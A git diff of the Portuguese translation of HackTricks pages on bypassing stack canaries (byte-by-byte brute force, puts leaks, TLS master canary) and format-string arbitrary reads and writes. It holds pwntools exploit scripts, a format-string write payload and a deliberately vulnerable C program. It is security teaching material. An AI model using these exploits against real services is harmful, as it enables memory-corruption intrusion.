* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.**
|
**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), você provavelmente precisa encontrar uma maneira de contorná-los.**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (865).png>)
|
![](<../../../.gitbook/assets/image (865).png>)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Observe que o **`checksec`** pode não detectar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\
|
Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\
|
||||||
No entanto, você pode perceber manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
|
No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Brute force no Canary
|
## Brute force Canary
|
||||||
|
|
||||||
A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.
|
A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.
|
||||||
|
|
||||||
Então, a melhor maneira de contornar o canário é simplesmente **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra forma em **outras situações** poderia ser usando um **try/except**):
|
Então, a melhor maneira de contornar o canário é apenas **forçá-lo de forma brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**):
|
||||||
|
|
||||||
### Exemplo 1
|
### Exemplo 1
|
||||||
|
|
||||||
|
@ -73,8 +73,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||||
```
|
```
|
||||||
### Exemplo 2
|
### Exemplo 2
|
||||||
|
|
||||||
Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\
|
Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.\
|
||||||
Também observe que, para este exemplo, o **programa espera primeiro um byte para indicar o tamanho da entrada** e a carga útil.
|
Também note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -117,15 +117,15 @@ log.info(f"The canary is: {canary}")
|
||||||
```
|
```
|
||||||
## Threads
|
## Threads
|
||||||
|
|
||||||
As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar a barra** de um canary se o binário gerar uma nova thread sempre que um ataque ocorrer. 
|
Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário gerar um novo thread toda vez que um ataque acontecer. 
|
||||||
|
|
||||||
Além disso, um **estouro de buffer em uma função com thread** protegida com canary poderia ser usado para **modificar o canary mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um **estouro de buffer na pilha** de uma thread.\
|
Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de um thread.\
|
||||||
Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).\
|
Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).\
|
||||||
Este ataque é realizado no writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||||
|
|
||||||
Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, também é gerada por `mmap` de acordo com isso, o que pode permitir o estouro conforme mostrado no writeup anterior.
|
Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior.
|
||||||
|
|
||||||
## Outros exemplos e referências
|
## Other examples & references
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||||
* 64 bits, sem PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule para lá.
|
* 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pular lá.
|
||||||
|
|
|
@ -1,59 +1,59 @@
|
||||||
# Imprimir Stack Canary
|
# Print Stack Canary
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Ampliar stack impresso
|
## Enlarge printed stack
|
||||||
|
|
||||||
Imagine uma situação em que um **programa vulnerável** a estouro de pilha pode executar uma função **puts** apontando para **parte** do **estouro de pilha**. O atacante sabe que o **primeiro byte do canary é um byte nulo** (`\x00`) e o restante do canary são bytes **aleatórios**. Então, o atacante pode criar um estouro que **sobrescreve a pilha até apenas o primeiro byte do canary**.
|
Imagine uma situação onde um **programa vulnerável** a estouro de pilha pode executar uma função **puts** **apontando** para **parte** do **estouro de pilha**. O atacante sabe que o **primeiro byte do canário é um byte nulo** (`\x00`) e o restante do canário são **bytes aleatórios**. Então, o atacante pode criar um estouro que **sobrescreve a pilha até apenas o primeiro byte do canário**.
|
||||||
|
|
||||||
Em seguida, o atacante **chama a funcionalidade puts** no meio da carga útil que irá **imprimir todo o canary** (exceto o primeiro byte nulo).
|
Então, o atacante **chama a funcionalidade puts** no meio do payload que irá **imprimir todo o canário** (exceto o primeiro byte nulo).
|
||||||
|
|
||||||
Com essa informação, o atacante pode **criar e enviar um novo ataque** conhecendo o canary (na mesma sessão do programa).
|
Com essa informação, o atacante pode **elaborar e enviar um novo ataque** conhecendo o canário (na mesma sessão do programa).
|
||||||
|
|
||||||
Obviamente, essa tática é muito **restrita**, pois o atacante precisa ser capaz de **imprimir** o **conteúdo** de sua **carga útil** para **extrair** o **canary** e então ser capaz de criar uma nova carga útil (na **mesma sessão do programa**) e **enviar** o **estouro de buffer real**.
|
Obviamente, essa tática é muito **restrita** pois o atacante precisa ser capaz de **imprimir** o **conteúdo** de seu **payload** para **exfiltrar** o **canário** e então ser capaz de criar um novo payload (na **mesma sessão do programa**) e **enviar** o **verdadeiro estouro de buffer**.
|
||||||
|
|
||||||
**Exemplos de CTF:** 
|
**Exemplos de CTF:** 
|
||||||
|
|
||||||
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||||
* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canary e então chamar puts para vazá-lo. Com o canary, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')`
|
* 64 bits, ASLR habilitado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
|
||||||
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
||||||
* 32 bits, ARM, sem relro, canary, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canary + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system)
|
* 32 bits, ARM, sem relro, canário, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canário + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system)
|
||||||
|
|
||||||
## Leitura Arbitrária
|
## Arbitrary Read
|
||||||
|
|
||||||
Com uma **leitura arbitrária** como a fornecida por **strings de formato**, pode ser possível vazar o canary. Verifique este exemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e você pode ler sobre abusar de strings de formato para ler endereços de memória arbitrários em:
|
Com uma **leitura arbitrária** como a fornecida por **strings** de formato, pode ser possível vazar o canário. Confira este exemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e você pode ler sobre abusar de strings de formato para ler endereços de memória arbitrários em:
|
||||||
|
|
||||||
{% content-ref url="../../format-strings/" %}
|
{% content-ref url="../../format-strings/" %}
|
||||||
[strings de formato](../../format-strings/)
|
[format-strings](../../format-strings/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||||
* Este desafio abusa de uma maneira muito simples de uma string de formato para ler o canary da pilha
|
* Este desafio abusa de uma maneira muito simples uma string de formato para ler o canário da pilha
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -178,7 +178,7 @@ Como mencionado, para escrever o endereço, geralmente são necessários 2 passo
|
||||||
* **HOB** é chamado para os 2 bytes mais altos do endereço
|
* **HOB** é chamado para os 2 bytes mais altos do endereço
|
||||||
* **LOB** é chamado para os 2 bytes mais baixos do endereço
|
* **LOB** é chamado para os 2 bytes mais baixos do endereço
|
||||||
|
|
||||||
Então, devido a como a string de formato funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
|
Então, devido ao funcionamento da string de formato, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
|
||||||
|
|
||||||
Se HOB < LOB\
|
Se HOB < LOB\
|
||||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||||
|
@ -194,9 +194,9 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### Modelo Pwntools
|
### Pwntools Template
|
||||||
|
|
||||||
Você pode encontrar um **modelo** para preparar um exploit para esse tipo de vulnerabilidade em:
|
Você pode encontrar um **template** para preparar um exploit para esse tipo de vulnerabilidade em:
|
||||||
|
|
||||||
{% content-ref url="format-strings-template.md" %}
|
{% content-ref url="format-strings-template.md" %}
|
||||||
[format-strings-template.md](format-strings-template.md)
|
[format-strings-template.md](format-strings-template.md)
|
||||||
|
@ -239,13 +239,13 @@ p.interactive()
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se você está interessado em **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda & pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda & pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
Apoie o HackTricks
|
Apoie o HackTricks
|
||||||
|
|
||||||
|
|
|
@ -1,21 +1,21 @@
|
||||||
# Exemplo de Leitura Arbitrária - Strings de Formato
|
# Format Strings - Exemplo de Leitura Arbitrária
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Iniciar Leitura Binária
|
## Ler Binário Início
|
||||||
|
|
||||||
### Código
|
### Código
|
||||||
```c
|
```c
|
||||||
|
@ -30,11 +30,11 @@ printf(buffer);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Compile com:
|
Compile-o com:
|
||||||
```python
|
```python
|
||||||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||||||
```
|
```
|
||||||
### Exploração
|
### Exploit
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -46,9 +46,9 @@ payload += p64(0x00400000)
|
||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
log.info(p.clean())
|
log.info(p.clean())
|
||||||
```
|
```
|
||||||
* O **deslocamento é 11** porque definir vários As e **forçar bruta** com um loop de deslocamentos de 0 a 50 descobriu que no deslocamento 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo.
|
* O **offset é 11** porque definir vários As e **brute-forcing** com um loop de offsets de 0 a 50 descobriu que no offset 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo.
|
||||||
* Eu usei **`%11$p`** com preenchimento até que eu visse que o endereço estava todo 0x4141414141414141
|
* Eu usei **`%11$p`** com preenchimento até que o endereço fosse todo 0x4141414141414141
|
||||||
* A **carga útil da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes.
|
* O **payload da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes
|
||||||
* O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
|
* O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
|
||||||
|
|
||||||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||||||
|
@ -84,13 +84,13 @@ printf("Access Denied.\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Compile com:
|
Compile-o com:
|
||||||
```bash
|
```bash
|
||||||
clang -o fs-read fs-read.c -Wno-format-security
|
clang -o fs-read fs-read.c -Wno-format-security
|
||||||
```
|
```
|
||||||
### Ler a partir da pilha
|
### Ler do stack
|
||||||
|
|
||||||
A **`stack_password`** será armazenada na pilha porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo da pilha é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas da pilha:
|
A **`stack_password`** será armazenada no stack porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo do stack é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas do stack:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -103,7 +103,7 @@ output = p.clean()
|
||||||
print(output)
|
print(output)
|
||||||
p.close()
|
p.close()
|
||||||
```
|
```
|
||||||
Na imagem é possível ver que podemos vazar a senha da pilha na `10ª` posição:
|
Na imagem, é possível ver que podemos vazar a senha da pilha na `10ª` posição:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -111,7 +111,7 @@ Na imagem é possível ver que podemos vazar a senha da pilha na `10ª` posiçã
|
||||||
|
|
||||||
### Ler dados
|
### Ler dados
|
||||||
|
|
||||||
Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço de heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença de endereços:
|
Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço da heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença dos endereços:
|
||||||
|
|
||||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -142,11 +142,11 @@ output = p.clean()
|
||||||
print(output.decode("utf-8"))
|
print(output.decode("utf-8"))
|
||||||
p.close()
|
p.close()
|
||||||
```
|
```
|
||||||
E é possível ver que no **try 14** com o uso da passagem utilizada podemos controlar um endereço:
|
E é possível ver que no **try 14** com o passing utilizado podemos controlar um endereço:
|
||||||
|
|
||||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Explorar
|
### Exploit
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -179,16 +179,16 @@ p.close()
|
||||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
